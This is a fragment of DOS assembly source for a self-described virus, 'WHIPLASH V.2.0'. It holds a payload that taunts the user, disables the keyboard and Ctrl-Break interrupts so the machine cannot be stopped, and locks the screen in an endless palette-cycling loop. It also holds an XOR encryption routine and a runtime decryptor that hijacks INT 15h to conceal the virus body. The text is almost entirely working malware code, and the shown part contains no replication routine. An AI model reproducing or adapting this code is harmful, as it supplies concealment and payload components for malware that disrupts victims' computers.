Db 0Ah, 0Dh Db 0Ah, 0Dh Db 0Ah, 0Dh Db 0Ah, 0Dh, ' Well, this just ain''t your lucky day !' Db 0Ah, 0Dh Db 0Ah, 0Dh, ' You are blessed with WHIPLASH V.2.0.' Db 0Ah, 0Dh Db 0Ah, 0Dh, ' Beta release Variant A' Db 0Ah, 0Dh Db 0Ah, 0Dh, ' written and compiled in' Db 0Ah, 0Dh Db 0Ah, 0Dh, ' Bucharest, Romania' Db 0Ah, 0Dh Db 0Ah, 0Dh, ' by Lord Julus (c)' Db 0Ah, 0Dh, '$' PRINTSTUFF: Cli Xor ax, ax Mov ds, ax Lea ax, [bp + Offset INT1BH] ; hook INT 09h (keyboard) Mov Word Ptr ds:[1Bh*4], ax ; and INT 1Bh (Ctrl-Break) Mov ax, cs ; so no one can stop this ! Mov Word Ptr ds:[1Bh*4+2], ax Lea ax, [bp + Offset INT9] Mov Word Ptr ds:[09h*4], ax Mov ax, cs Mov Word Ptr ds:[09h*4+2], ax Sti REDO_IT: Push cs Pop ds Mov ah, 00h ; set video mode to 40 x 25 Mov al, 00h Int 10h Mov ah, 11h ; set character type Mov al, 01h Mov bl, 00h Int 10h Mov ah, 10h ; set border color to screen Mov al, 01h Mov bh, 07h Int 10h Push cs Pop ds Lea dx, [bp + Offset Pltext] ; print message on screen Mov ah, 09h Int 21h Mov ah, 01h ; hide cursor Mov ch, 7 Mov cl, 0 Int 10h ROTATEPAL: Inc bh Cmp bh, 15 Jng NO_PR Mov bl, 1 NO_PR: Mov ah, 10h Mov al, 00h Mov bl, 07h Int 10h Call WAIT_RETRACE Jmp ROTATEPAL WAIT_RETRACE: Mov dx,3DAh W1: In al,dx And al,08h Jnz W1 W2: In al,dx And al,08h Jz W2 Ret INT1BH: Iret INT9: Iret NO_PAYLOAD: Pop es Pop ds Popa Ret ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ; The General Encryptor/Decryptor (very simple) ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² DECRYPT_ENCRYPT: Mov di, Offset ENDING ; code to be encrypted/decrypted Add di, Offset STARTCODE ; lies at ending + 50 Add di, 50 ; so align DI... Sub di, 100h Mov cx, (ENDCODE - STARTCODE)/2 ; length of code to process Mov ax, 10h IAR1: Xor Word Ptr cs:[di], ax ; xor a word Inc di Inc di Inc ax ; and increment key Loop IAR1 Ret pr: pusha push ds mov ah, 09h push cs pop ds int 21h pop ds popa ret carrier: mov ah, 0eh mov al, 0ah int 10h mov ah, 0eh mov al, 0dh int 10h ret ENDCODE: ; this is the last encrypted line ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ; The Unencrypted part (Runtime Decryptor) ;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² DECRYPT_PROC: Push bp Mov bp, sp Mov dx, ss:[bp+8] Xor dx, ax Mov Word Ptr cs:[di], dx Inc ax Inc di Inc di Pop bp Add sp, 8 Dec cx Jcxz ENDDECRYPT Jmp _AGAIN Iret DECRYPT_ME: Pusha Push ds Cli Xor ax, ax Mov ds, ax Mov ax, ds:[15h*4] Mov Word Ptr cs:[Oldint15], ax Mov ax, ds:[15h*4+2] Mov Word Ptr cs:[Oldint15+2], ax Mov ax, Offset DECRYPT_PROC Add ax, bp Mov Word Ptr ds:[15h*4], ax Mov ax, cs Mov Word Ptr ds:[15h*4+2], ax Sti Mov di, Offset STARTCODE Add di, bp Mov cx, (ENDCODE - STARTCODE)/2 Mov ax, 10h _AGAIN: Mov bx, Word Ptr cs:[di] Push bx Int 15h ENDDECRYPT: Xor ax, ax Mov ds, ax Cli Mov ax, Word Ptr cs:[Oldint15] Mov Word Ptr ds:[15h*4],ax Mov ax, Word Ptr cs:[Oldint15+2] Mov Word Ptr ds:[15h*4+2], ax Sti Pop ds Popa Ret ENDING: End START End